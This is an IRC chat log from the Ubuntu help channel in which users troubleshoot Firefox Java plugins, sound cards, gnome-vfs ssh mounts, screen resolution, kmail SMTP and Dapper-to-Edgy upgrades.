sanitariumtrappist, i think i fiqured it out08:45
JoshJit's in main apparently08:45
JoshJin edgy08:45
nemo_workmeh. one more time. anyone here using ubuntu stable and willing to help me test gnome-vfs + ssh08:45
sanitariumbe back08:45
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yrlnryIs there an environment variable that overrides the default printer for the CUPS "lp" command?08:45
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yrlnryNo environment variables are documented.08:46
deorypjrib yep, nothing08:46
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nemo_workyrlnry: yes08:46
IndyGunFreakhow do you do something similar to "End Task" when an Application freezes up, Xubuntu 6.1008:46
tim167JoshJ, sorry I was distracted, where do I go ?08:46
JoshJnemo_work : what exactly would i have to do? (on edgy)08:46
jastarafi`that's a secret08:46
Scrippieprivate08:46
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yrlnrynemo_work: What is the variable?08:46
JoshJtim167 : http://rafb.net/p/jhiRCW95.html08:46
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JoshJIndyGunFreak : ps -e then kill the PID08:46
JoshJor killall appname (ex: killall firefox)08:46
IndyGunFreakps -e?08:46
jribdeoryp: ok pastebin:  ls -l /usr/lib/firefox/plugins/ && readlink -f $(which firefox)08:46
JoshJyes08:46
IndyGunFreakhmm,08:46
trappistJoshJ: it would be firefox-bin08:46
deorypjrib i am using firefox 2.0 do you thing that matters?08:46
JoshJah, true08:46
nemo_workor rather, I should say, I'm sorry, that you can override the default on the commandline. my apologies.08:47
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jribdeoryp: what version of ubuntu?08:47
IndyGunFreakwell, it only happens on occasion with Open Office, if I double click a word file, it will freeze while loading up08:47
namensindausis there a german channel?08:47
tim167JoshJ: aha, thanks08:47
jrib!de | namensindaus08:47
ubotunamensindaus: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de08:47
JoshJon gnome there's a gnome panel that does it08:47
JoshJgnome-system-monitor08:47
nemo_workdon't see, frankly, what you'd need the variable for :)  either change it in conf or on commandline08:47
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stefg!de namensindaus08:47
IndyGunFreakbut if I Open up OpenOffice, then File/Open thefile, it opens no probl08:47
ubotuSorry, I don't know anything about de namensindaus - try searching on http://bots.ubuntulinux.nl/factoids.cgi08:47
JoshJi *believe* there's something similar on Xubuntu08:47
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trappistnemo_work: I forgot who you're talking to, but there's a cups config directive that'll do it08:47
deorypjrib i am using Dapper, http://pastebin.ca/31446208:47
IndyGunFreakJoshJ, yeah, i know how to do it in Gnome, having trouble finding how to do it in Xfce08:47
JoshJi even have ctrlaltdel on my box set up to load the gnome-control-panel08:47
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ubotunamensindaus: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de08:48
nemo_worktrappist: aye. or just pass the printer name when printing08:48
JoshJgo the only good shortcut key windows has08:48
trappistnemo_work: right, lp -d08:48
jribdeoryp: ah ok, so how did you install firefox 2.0?08:48
deorypjrib manually08:48
jribdeoryp: yes, into /opt?08:48
nemo_workalrighty.  clearly this channel is too noisy for help requests to be efficiently transfered.08:48
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JoshJnemo_work : i said i'm on edgy08:48
JoshJwhat do i have to do to help?08:48
deorypjrib i don't know that /opt is08:48
nemo_workJoshJ: ok. I read that but had no idea it was related to me :-p08:49
JoshJoh heh08:49
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JoshJsorry08:49
jribdeoryp: where did you install firefox 2.0 into?08:49
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K1GPLJoshJ:  why, too much caffein?08:49
nemo_workJoshJ: I'd like to test an ssh mount over gnome-vfs08:49
nemo_workJoshJ: Places->Connect to Server selecting a type of ssh08:49
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nemo_workseems to be failing on my mom's ubuntu machine, but not my gentoo one08:49
deorypjrib i installed it into /usr/lib/firefox08:49
JoshJserver?08:49
jribdeoryp: ouch08:49
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nemo_workJoshJ: any server you like08:49
nemo_workJoshJ: tested with localhost and my personal one08:49
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JoshJah ok08:49
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deorypjrib would upgrading above dapper help me?08:50
nemo_workcan't get gnome-vfs + ssh to work, period08:50
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JoshJit's not... doing anything08:50
JoshJi take it that's the bug?08:50
Skatdeoryp /usr/lib/firefox/plugins/ ??08:50
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jribdeoryp: you usually want to install custom things into /usr/local/ or /opt08:50
nemo_workJoshJ: just sitting there with a wait dialog?08:50
JoshJno, actually08:50
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nemo_worktry doubleclicking on the link on desktop08:50
nemo_workthat one gives me wait dialog08:50
nemo_workone in menu does nothing besides password prompt08:50
JoshJah, i see08:50
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deorypSkat there is a pastebin: http://pastebin.ca/31446208:50
IndyGunFreaki know frostwire/Limewire are basically the same thing08:50
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nemo_workdoubleclicking on desktop doesn't hit the server, so the gnome screwup is ahead of that08:51
JoshJworks perfectly for me08:51
jribdeoryp: pastebin the page you get when you enter  "about:plugins" in your browser08:51
JoshJsorry08:51
JoshJ:\08:51
nemo_workJoshJ: oh. darn.08:51
nemo_work*sigh*08:51
JoshJannoying though08:51
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deorypjrib it was a pain in the butt getting firefox installed and not having apt install over it08:51
nemo_workJoshJ: do you know what package provides gnome vfs so I can compare versions?08:51
JoshJit takes me to root instead of the folder08:51
regeyals08:51
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regeya*whoopsie*08:51
JoshJ(my home folder)08:51
IndyGunFreakFrostwire/Limewire the same thing, but do they access the sae peers, in otherwords, can I download something using frostwire, from someone who uses limewire..08:51
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jribdeoryp: yep, that's exactly the reason to use /usr/local or /opt :)08:51
taserDoes anyone have experience seeting up a MediaWiki installation?08:51
JoshJwhich is annoying because my school server has an odd location for my home dir08:51
nemo_workJoshJ: meh, whatever. I'd be thankful just to connect08:51
JoshJbut ANYWAY08:51
sanitariumtrappist and the rest thanks a bunch i fixed it .. all it took was a re-install of nvidia08:51
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linxehis there a java5 package for PPC ubuntu?08:51
sanitariumthanks again08:52
deorypjrib: http://pastebin.ca/31446708:52
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taserDoes anyone have experience setting up a MediaWiki installation?08:52
trappistsanitarium: ossum08:52
pike_nemo_work: doesnt "sudo apt-get install sshfs; sudo modprobe fuse; sshfs bob@192.168.1.3: /mnt/bobsdir -o allow_other" work?08:52
MarcNtaser: did you get mediawiki setup?  It was pretty straight forward.  I took the tar.gz approach.08:52
stefgnemo_work: 1.) thanks for the inspiration... you unknowingly solved a prob for me. 2.) sshfs works for me on dapper in my LAN08:52
sanitariumtrappist, well work is calling so im out08:52
JoshJnemo_work check your PM08:52
deorypjrib as you can see, all plugins are showing up except the java ones08:52
nemo_workpike_: ssh works, so I imagine FUSE would work too08:52
linxehtaser: yes, pretty painless. I installed from the mediawiki svn tree because the one in the ubuntu repos is so out of date08:52
nemo_workpike_: I've been trying to avoid FUSE08:52
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sanitariumtrappist, later08:52
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nemo_workpike_: for my mom's purposes it is in fact not ideal.  Even though I am not at all a fan of VFS in general08:53
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jribdeoryp: k, do this: close all firefox, then run 'ps -ef | grep firefox-bin'.  Do any processes show up?08:53
stefgnemo_work: did you apt-get sshfs?08:53
linxehtaser: took me about 10 minutes at most. you need apache2, php5, and mysql for the latest releases08:53
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Rocky12Err http://es.archive.ubuntu.com edgy/main Packages08:53
Rocky12  El subproceso gzip devolvi un cdigo de error (1)08:53
nemo_workstefg: don't wanna :-p08:53
JoshJnemo_work check your PM08:53
Rocky12it tells me it cant find mozilla-locale-es-es08:53
Rocky12cud that be the reason?08:53
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JoshJprobably08:54
pike_nemo_work: ah ok.  well you could always make a script on desktop with some prompts for input but thats not very pretty either..08:54
JoshJtry mozilla-locale-es - Mozilla Spanish Language/Region Package (dummy package)08:54
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JoshJapt-get install mozilla-locale-es and hope it gets the -es-es08:54
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JoshJyou may need to enable the Universe repository, Rocky1208:54
nemo_workpike_: main issue with FUSE is that it can be flaky if either end drops the link, at times.08:54
tim167to enter "http://us.archive.ubuntu.com edgy/main Packages" to my sources.list, I just add the line "deb http://us.archive.ubuntu.com edgy/main Packages" ? this doesnt seem to work (I might add, this is on a dapper installation)08:54
MerlynCI currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers08:54
Rocky12that worked08:54
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nemo_workpike_: I can probably get it setup with certs, but ideally gnome-vfs should offer prettier prompts08:54
JoshJwhoa tim16708:54
Rocky12now how do I put it?08:54
deorypjrib : i get this when i start firefox08:54
JoshJyou don't want an edgy repo on dapper08:55
deorypjrib : http://pastebin.ca/31446908:55
nemo_workpike_: also, it wouldn't try to do annoying things like call the thumbnail generator08:55
Rocky12JoshJ is enabled already08:55
JoshJRocky12 are you on dapper or edgy?08:55
nemo_workpike_: I've had lots of problems with gnome vfs but this is definitely a new one, and since it works for Josh, time to start comparing package versions08:55
tim167JoshJ: so I have to install Edgy to get AptOnCd ?08:55
Rocky12edgy08:55
mnoirtim167: not to butt in but why are you adding an edgy repositories to a dapper system?08:55
jribdeoryp: remove all the java links you placed08:55
JoshJtim167: it's possibly but seems unlikely08:55
pike_nemo_work: ok. my experience with fuse is limited to occational use08:55
JoshJworst case scenario you can compile python-dbus from source08:55
Rocky12main repository seems not to work....08:55
JoshJmost likely there's a deb somewhere08:55
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JoshJ!easysource08:55
ubotusource-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic08:55
JoshJtry that i guess, Rocky1208:55
Rocky12what?08:56
jribdeoryp: libjavaplugin.so is supposed to be a symlink but yours doesn't seem to be08:56
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Rocky12ah08:56
nemo_workwelp. thanks y'all. this place is too noisy for me, so I'm going to run away.08:56
tim167mnoir: I need python-dbus, cant find it in repos08:56
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MerlynCI currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers08:56
nemo_workmaybe you should split into #ubuntu-gnome #ubuntu-server etc. :)08:56
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Rocky12shall I download firefox in my language and install it?08:56
daedranemo_work: try ubuntu-offtopic08:56
JoshJi think #ubuntu-edgy and #ubuntu-dapper would be a better choice08:56
Rocky12or that would install i tsomewhere else or sth08:56
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Rocky12?08:56
mnoirtim167: so you're going cross-release?08:56
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JoshJbecause i'm on edgy and trying to help people in dapper can mess people up sometimes :(08:56
j3diis there a way to change cron so it uses the local time instead of UTC?08:56
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Rocky12huh08:57
tim167mnoir: hmm, dunno...or is it hard to upgrade the dapper one to edgy ?08:57
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JoshJ!wifi08:57
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs08:57
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deorypjrib : now i only get this: http://pastebin.ca/31447208:57
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stormchas3rI have 2 drives and i want to make one big one with LVM, how do I do this?08:58
JoshJi'll be asking about that later i suspect08:58
swaroghey, i got intel pro wifi 3945abg and ubuntu edgy 6.10. dmesg show card is detected. but device is not available08:58
JoshJheh08:58
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JoshJswarog , join the club, wifi sucks :(08:58
deorypjrib : a locate on that file: http://pastebin.ca/31447408:58
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taserFF is wanting to download a PHTML file when I try opening the MediaWiki directory. Any ideas as to what I did wrong?08:58
jribdeoryp: ls -l /usr/lib/firefox/plugins/*java*08:58
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mnoirtim167: again, i hope this isn't old territory but,  1.  cross release is not tested so you are waaay on your own as far as whether it will work.  2.  the safer method is to decide what release you need and stick to it :)08:59
deafboycan anyone help me get my sound card working, ubuntu detects it?08:59
JoshJmnoir: he wasn't intending to crossrelease i don't think08:59
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deafboyi have the codecs installed08:59
tim167I have two systems, one is Edgy, one is Dapper, I want to make the Dapper as similar as possible to the Edgy one08:59
deorypjrib no file can be found08:59
jribdeoryp: we should check ~/.mozilla/plugins/ as well08:59
pike_swarog: best bet is search ubuntuforums.org for your card.08:59
tim167mnoir  ^08:59
JoshJmnoir: he was looking for the python-dbus thing and apparently it's in an edgy repo08:59
mcphailstormchas3r: http://www.debian-administration.org/articles/41008:59
stefg!ping08:59
ubotupong08:59
JoshJmnoir: and i didn't realize he was on dapper and gave him my sources info08:59
CrankymonkyWhen I was compiling NinJam, there was no configure file and when I sudo make'd I get this http://paste.ubuntu-nl.org/1329/08:59
aluno_don't speak portuguese08:59
stormchas3rmcphail, ty09:00
Crankymonkypor que no portuguese?09:00
mnoirJoshJ: !!!09:00
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deorypjrib there was a libjavaplugin_oji.so in there, i killed it09:00
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jrib!pt | aluno_09:00
deafboyanyone with sound card issues?09:00
ubotualuno_: Por favor use #ubuntu-br  ou #ubuntu-pt  para ajuda em portugus. Obrigada.09:00
JoshJmnoir: i don't think he set it up yet09:00
aluno_porque nao nao falo enguel09:00
JoshJso probably not a problem09:00
pike_swarog: dmesg shows a device name? but you cant sudo ifconfig name up?09:00
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deorypjrib there was a libjavaplugin_oji.so in there, i killed it  <-- ~/.mozilla/plugins09:00
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JoshJtim167: look to see if there's a .deb of python-dbus somewhere (google or whatever)09:00
swarogpike_: exactly09:00
jribdeoryp: ok, now firefox probably starts without error but still no java right?09:00
modulusmy sound card is an interesting one, we shall see if it works.09:00
swarogpike_: looks like ndiswrapper didnt load the driver09:00
JoshJand if not you can probably compile it from source if you have all its dependencies09:00
swarogpike_: ndiswrapper -l shows no driver09:01
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deorypjrib ok no error09:01
jribdeoryp: ok reinstall sun-java5-plugin09:01
swarogpike_: i found in /lib/firmware ipw3945.ucode. is that driver?09:01
mnoirJoshJ: i suspect that compile from source is a better bet than a .deb that is not built for 6.06 :)09:01
OrangeOrangehey guys... my dell laptop in xp can display at least 1280x800, but ubuntu dont have options to display that size.. Hhelp?09:01
pike_swarog: ah. sorry ive never used ndiswrapper. i even found an old external modem for dialup use so i wouldnt have to fool with the winmodem09:01
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JoshJmnoir: proooooobably a good choice09:01
stefg!fixres | OrangeOrange09:01
ubotuOrangeOrange: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto09:01
aluno_falows09:02
CrankymonkyWhen I was compiling NinJam, there was no configure file and when I sudo make'd I get this http://paste.ubuntu-nl.org/1329/09:02
JoshJthat said they may have ubuntu .debs on the python site or whatever09:02
JoshJCrankymonky: sudo make? wtf?09:02
mnoiroh - I see  (thanks rioghal)09:02
JoshJit's make then sudo make install09:02
deafboyCan anyone help me get my sound card working, the drivers / codecs are installed09:02
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deorypjrib ok, i had to remove it and then reinstall it with apt. done.09:02
CrankymonkyJosh, did I do somethign wrong?09:02
jribdeoryp: ls -l /usr/lib/firefox/plugins/*java*09:02
mnoirCrankymonky: you should not sudo make09:02
CrankymonkyJust remove the sudo*09:02
tim167JoshJ,mnoir, maybe its no use trying aptoncd to port stuff from my edgy to my dapper..., but I wonder, can I change the dapper into Edgy without erasing the entire disk ? (the dapper one has files, tweaks, and apps I want to keep)09:02
JoshJCrankymonky: i believe just plain "make" should not be done as sudo09:02
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JoshJ!upgrade09:03
ubotuFor upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes09:03
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JoshJthere you go tim09:03
CrankymonkyYa, that was a typo on my behalf09:03
JoshJthere is a way to go dapper-> edgy09:03
CrankymonkyI didn't actually sudo09:03
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Enselic``When I start Emacs, the characters are messed up09:03
JoshJthough it doesn't work well if you have a lot of odd configuration options, from what i understand09:03
mnoirtim167: you can but if you do not backup, you are risking losses :)09:03
deorypjrib nothing is in the firefox dir09:03
CrankymonkyThough sudo make and just make give the same error09:03
tim167JoshJ, again you were too quick :-p09:03
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deorypjrib nothing is in the firefox dir  <-- no java09:03
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Skatdeafboy: has it ever worked?09:03
jribdeoryp: weird.  I suppose it might be because you don't have the old firefox package installed or something?09:03
deafboyskat: not that I know of09:03
tim167mnoir: will backup fo sure09:04
stefgCrankymonky: this is beyond the scope of this channel. General tips: you need a lot of foobar-*dev* packages installed to compile succesfully. read the Doc in the source carefully what compiler and make version it wants, or if it's an automake build...09:04
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mnoir (thanks rioghal)09:04
jribdeoryp: ls -l /etc/alternatives/firefox-javaplugin.so09:04
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stormchas3rmcphail, that doesnt really help me.  I want to make 2 120gb drives into one, then install ubunt server09:04
deorypjrib is there a new distro of ubuntu that has firefox 2.0 ?09:04
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jribdeoryp: yes, edgy09:04
JoshJwhere is the broadcom 4318 driver on windows so i can get it on ndiswrapper?09:04
mnoirtim167: the upgrade process has a so-so reputation but recently seems to be working ok09:04
SkatIs it correctly selected in System>Preferences>Sound09:04
MerlynCI currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers09:04
jribdeoryp: I would recommend you eventually get rid of your custom install into /usr/lib even if you don't decide to upgrade09:04
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jrib!upgrade | deoryp09:05
ubotudeoryp: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes09:05
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Crankymonkystefg, the problem was there weren't any docs in the source, that'd be why I had a problem^^09:05
deorypjrib: http://pastebin.ca/31448109:05
stormchas3r!lvm09:05
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ubotuTips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO09:05
JoshJah nvm09:05
deafboyskat: says HDA Intel09:05
CrankymonkyWell, it did say to install libbogg and some other some libraries:P09:05
mcphailstormchas3r: it is a looong time since i had to do a fresh install. Perhaps readdress the specific question to the channel? I'm not sure if there is an LVM option in the installer09:05
jribdeoryp: sudo ln -s /etc/alternatives/firefox-javaplugin.so /usr/lib/firefox/plugins/libjavaplugin.so09:05
Skatdeafboy: And that is your soundcard?09:05
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deafboyskat: yes09:05
stormchas3rmcphail, ty09:05
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Skatdeafboy: if you hit the "test" buttons any joy?09:06
nemo_workwoot. FYI to JoshJ and others.09:06
stefgMerlynC: type 'alsamixer' in a terminal and see, which outputs are muted09:06
deafboyskat: nope :(09:06
JoshJ?09:06
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MerlynCstefg: None09:06
deorypjrib success!09:06
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jamesbroseI'm making a local ubuntu apt server, how long does it normally take to download all the packages for the first time?09:06
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jribdeoryp: k great, I'll send you some instructions on a better way to install firefox 2.0 on dapper too09:07
jrib!firefox | deoryp09:07
ubotudeoryp: firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins09:07
nemo_worktried again remotely (ssh -YC + nautilus) and when ssh:// worked got suspicious09:07
stefgMerlynC: According to the fact that 90% of these problems are *overseen* mutes, please look again09:07
swarogpike_: got it working, thanks anyway09:07
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Skatdeafboy: are there other choices for sound device?09:07
nemo_worksure enough, nautilus wasn't opening *any* folders09:07
JoshJrofl09:07
JoshJ:(09:07
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nemo_workkillall nautilus and my mounts worked fine09:07
nemo_work!@#$09:07
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JoshJwow09:07
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bakertYou know when you press Ctrl-Alt-f1, f2, f3, etc. and you get a new terminal window thingy?  What's that called?  A tty?09:07
OrangeOrange!fixres09:07
ubotuThe X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto09:07
JoshJyes, tty09:07
FactTechQuestion: If I choose "save session" when I log out or shut down, is it supposed to revert to the same state when I log back in? For example, if I have a file open in mousepad, should that file be opened automatically when I log in?09:07
deafboyskat: nope09:07
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JoshJtty1, tty2, tt3, and so forth09:07
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bakertThanks JoshJ09:07
deafboyskat: different formats like alsa, oss etc... but no different cards09:07
MerlynCstefg: Just double checked it. All are un muted, and have a radio playing on the system, with a "Volume Meter" that is not moving one bit09:07
deorypjrib ok i am going to do the upgrade to edgy thanks for your help09:07
jribdeoryp: np09:07
tim167think I'll have a go with     gksu "update-manager -c"         ...what's the worse that can happen ? 8-)09:08
stefg!sound | MerlynC09:08
ubotuMerlynC: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin09:08
juano__anyone know why i cant send mail with kmail using gmail, i can fetch mail fine09:08
bakertHow do I take control of a process running under X/Gnome from a tty?  That is, I want to preserve it so that when I kill off X the process will stil be running?09:08
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MerlynCstefg: nm I am going to not be cocky next time.. thank you for fixing my ignorance09:08
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MerlynCI swear Linux is womans attempt to make men read and listen09:08
Skatdeafboy: on the volume icon on the desktop double click09:08
mnoirjuano__: cuz yer ISP filters port 25?09:08
tusiuWitam09:08
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mcphailjuano__: is your smtp server set correctly?09:08
stefgMerlynC: No prob, no ignorance... just the fact that it's really often overseen mutes09:08
Skatdeafboy: I know it's basic but all controls are up, none muted09:09
jamesbroseI'm making a local ubuntu apt server, how long does it normally take to download all the packages for the first time?09:09
MerlynCstefg: you might be able to answer this, only the rear channels are playing anything09:09
pike_jamesbrose: 32.4 hrs09:09
deafboyskat: yep all are green :)09:09
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stefgMerlynC: ahh.... 5.109:09
tusiuhi09:09
MerlynCstefg: Yes09:09
jamesbrosepike_, how much space does it take up?09:09
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foobarianbakert, you can do it if you set things up ahead of time a little bit.  for text processes the best solution is to use "screen"09:09
Math^hello, when I try to startup xawtv, I get this message: X Error of failed request:  XF86DGANoDirectVideoMode, what does this mean?09:09
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OrangeOrangemy whole screen became a terminal after sudo /etc/init.d/?dm restart09:09
Math^I'm using a Pinnacle Rave09:09
juano__mcphail: smtp.gmail.com port 465 (tried 587) PLAIN TLS09:09
pike_jamesbrose: i was kidding sorry09:09
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OrangeOrangehow can i get back to gui09:10
MerlynCOrangeOrange: startx09:10
jamesbrosepike_ oh right...09:10
Skatdeafboy: sorry but I can't help further - ask again09:10
OrangeOrangethanks09:10
foobarianbakert, first start "screen", start your process, then press Ctrl-a d and the screen will go into background09:10
juano__mnoir: my ISP doesnt block it cause thunderbird works fine09:10
mcphailjuano__: you will probably have to use your ISP's smtp server09:10
stefgMerlynC: the driver (or your cabling) confuses front and rear... 5.1 is sometimes ticky09:10
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bakertfoobarian - what if the process is already running?09:10
juano__mcphail: thunderbird works fine09:10
foobarianbakert, later you can run "screen -r" to reconnect to that tty09:10
foobarianbakert, in that case, you're screwed :)09:10
deafboyskat: thanks for trying09:10
bakertfoobarian - ah.  shame09:10
juano__mcphail: has to be something with kmail09:11
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:11
MerlynCstefg: cables are color coded so hope I didn't mess that up but will double check, but any suggestions on where to look for 5.1 help?09:11
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deafboycan anyone help me figure out my sound card issues? i have the drivers/codecs installed09:11
mcphailjuano__: sorry, i don't use it...09:11
JoshJer there's actually a way to background running processes09:11
JoshJi have no idea how though09:11
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foobarianbakert, for graphical processes, you can set up a vncserver, and run the process inside it09:11
Math^anyone know something about using xawt with Pinnacle Rave?09:11
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MerlynCstefg: along with that, how would I enable 5.1 (even if they are backwards, they are only set in 2.1 right now)09:11
Flannelbakert: if you just want to send it to the background, you can ctrl-z to pause it, then type 'jobs', get it's job number, then "bg #" where the number coincides, that'll have it run in te background.09:11
stefgMerlynC: give me a paste of your lspci output to pastebin (see /topic for url)09:11
OrangeOrange!fixres09:11
juano__anyone know why kmail cant send mail?? its not IP cause thunderbird works fine: smtp.gmail.com port 465 (tried 587) PLAIN TLS09:11
ubotuThe X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto09:11
Vluidhello, does anyone know how file tranfer in psi works through a firewall?09:12
juano__anyone know why kmail cant send mail?? its not ISP cause thunderbird works fine: smtp.gmail.com port 465 (tried 587) PLAIN TLS09:12
bakertfoobarian, JoshJ, sadly X is unrecoverable and my compilation has been running for about 8 hours.  I guess I can't restart X til it finishes then ...09:12
tim167hmm, I try gksu "sh /cdrom/cdromupgrade" but I get: No such file or directory ... any idea ?09:12
foobarianJoshJ, you can use kill to background a process, but it will die if the parent (shell) dies09:12
JoshJuh09:12
pike_juano__: /j kbubuntu   you might get more helpful response09:12
JoshJbakert: how many TTYs do you have?09:12
stefgMerlynC: you are on edgy, aren't you?09:12
deafboycan anyone help me figure out my sound card issues? i have the drivers/codecs installed?09:12
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:12
pike_juano__: sorry #kubuntu09:12
juano__pike_: yep trying there09:12
bakertJoshJ - 6 i guess plus the seventh where X is but is dead.09:12
juano__pike_: not much luck09:12
bakertJoshJ - well, not dead, but not visible09:12
JoshJso why can't you use a different TTY to start X?09:12
Vluidnoone?09:12
JoshJi must be missing something09:13
pike_juano__: what does it say when it fails09:13
Enselic``When I open Emacs, I get this: http://www.chromecode.com/graphics/emacs-fupped.png09:13
MerlynCstefg: http://paste.ubuntu-nl.org/1334/09:13
Enselic``What could that be?09:13
MerlynCstefg: Yes09:13
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OrangeOrangehow do i know which "video driver" to use for X server?09:13
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bakertJoshJ - sorry full explanation.  i was running X at 1920x1600 at work.  I unplugged the monitor and came home.  now i'd like to use X at a lower res but without killing my compile which has been running for 8 hours.09:13
MerlynCOrangeOrange: What Video Card do you have?09:13
bakertJoshJ - does that make sense?09:13
OrangeOrangeits a builtin (laptop computer)09:13
JoshJah, i see09:13
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MerlynCOrangeOrange: Intel Chip?09:14
JoshJis X still working on that computer?09:14
OrangeOrangeyes09:14
stefgMerlynC: reading... will take a sec09:14
juano__pike_: it doesnt even send, or give a window showing an attempt to send emails just sit in outbox09:14
OrangeOrangeMerlynC: yes09:14
JoshJi mean, if the x server is up you should in theory be able to make a new client to the same x server09:14
bakertJoshJ - so X is still working but I can't see it; and I have full access to my tty's09:14
juano__pike_: i tried right click send messages in queue but no luck09:14
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mzanfardinoquick question: how do I unbind IPv6 from my eth0 adapter?09:14
MerlynCOrangeOrange: When it comes to intel I wouldn't be able to help you, but... give me a second to google it09:14
bakertJoshJ - ah yes that would be brilliant - a new client at a different res09:14
mnoirEnselic``: looks like a charset/locale issue09:14
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nemo_workJoshJ: btw, to elaborate.  is I suppose a bug in nautilus, but probably I hung something by what I had done in the first place, which was to try to connect to a server that I had mucked up by blowing away all of /tmp, then killing the remote, but not checking nautilus for confusion :)09:14
nemo_workJoshJ: so hopefully this behaviour is not that common09:14
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JoshJnemo_work: i'd hope not09:15
Enselic``mnoir, yeah, I've tried to poke with Mule settings, but without result09:15
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JoshJblowing away all of /tmp seems... silly09:15
foobarianbakert, why not kill the compile? won't a makefile continue from where it left off?09:15
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OrangeOrangeMerylnc: to be exact it's Intel Graphics Media Accelerator 95009:15
bakertfoobarian - will it?  that would be good.  but it's been going for 8 hours.  I'd like to be sure!!!09:15
mnoirEnselic``: cant help much - i live my life so as to avoid emacs whenever possible09:15
JoshJfoobarian : uh, you're kidding right?09:15
pike_juano__: never used it myself id try rm'ing the config file wherever it is. probably under .kde i guess09:15
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:15
JoshJif he's compiling with GCC i think you can resume at the most recent "stage" of the compile process, but if you're mid-stage...09:15
MerlynCOrangeOrange: with lspci what does it say for you VGA Compatible Controller09:15
stefgMerlynC: bad news: https://launchpad.net/ubuntu/+source/linux-source-2.6.17/+bug/6335209:15
foobarianJoshJ, of course not- this is what make(1) is designed for09:16
juano__pike_: ok thanks09:16
nemo_workSay, is there a clean way, besides erasing the plugin, to have totem not register itself for media types with firefox?09:16
mnoirbakert: yes - that is one of the points of make - to be able to continue from where an interrupt occurred09:16
alek66can anyone help me I dont have mp3 support09:16
nemo_workI'd rather use mplayerplug-in09:16
MerlynCstefg: That is Creative XFI, Drivers come out Q2 this year..09:16
nemo_workand right now both are listed, and totem appears to be trumping on stuff it can't seem to play09:16
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MerlynCstefg: I have 2 sound cards in this machine09:16
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MerlynCstefg: ignore the Creative One09:16
bakertJoshJ, foobarian, maybe i'll try that then.  and if it goes horribly wrong i can run it overnight i suppose.09:16
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foobarianbakert, it depends- is it 8 hours compiling a single c++ file? or is it a lot of really short files?09:16
JoshJnemo_work: about:plugins09:16
JoshJthat'll show you them at least so you can make sure09:17
bakertfoobarian, it's the glasgow haskell compiler 6.6 and it's libraries.  i'm not sure where it's up to or exactly what it does09:17
OrangeOrangeMerylnc: Intel Corporation Mobile Integrated Graphics Controller (rev 03)09:17
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nemo_workJoshJ: I know that much :)09:17
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JoshJer yeah, if it's not gcc and gmake you probably don't want to rely on gmake and gcc features :p09:17
nemo_workfor now moved libtotem-* in /usr/lib/mozilla-firefox/plugins to a disabled/ subfolder09:17
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nemo_workwhich mucks with package management. oh well.09:17
JoshJnemo_work: it's hard to tell what different people know09:17
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JoshJand yeah, speaking of package management , i managed to terribly muck up my apt :(09:18
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bakertJoshJ no it is a haskell compiler written in haskell compiling with an earlier version of haskell so i guess that might notwork09:18
FactTechQuestion: What's the difference between "hibernate" and "save session for future logins"?09:18
JoshJi'm going to install debian etch when it comes out and have a hell of a lot more restraint in keeping the system proper09:18
Alarmhello. i got a problem with my ftp server. i just managed to run proftpd  , i can also succesfully login but i cant see any content in it. what could be wrong ? the strange thing is that when i log on the server from the local pc , i can see the content , but not from a remote09:18
MerlynCStefg: 00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)  That is my sound card that is being used09:18
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MerlynCOrangeOrange: checking for you now (as I assume you dont have a gui to work with)09:19
fghjhow do I get afs working on ubuntu?09:19
bakertJoshJ, foobarian, thanks for your help.  I guess as there's no way to background a process from another tty I'll have to let it run or start again and run it overnight.  thanks for your help.09:19
FlannelFactTech: the former actually saves where you are in the programs, the latter just reopens the programs you had open, I  imagine.09:19
stefgMerlynC: got it... but takes some time to sort out the google mess09:19
foobarianbakert, nice, haskell is cool.  i only used hugs, but i would guess that whoever writes a haskell compiler in haskell would probably do the build process right and use dependencies09:19
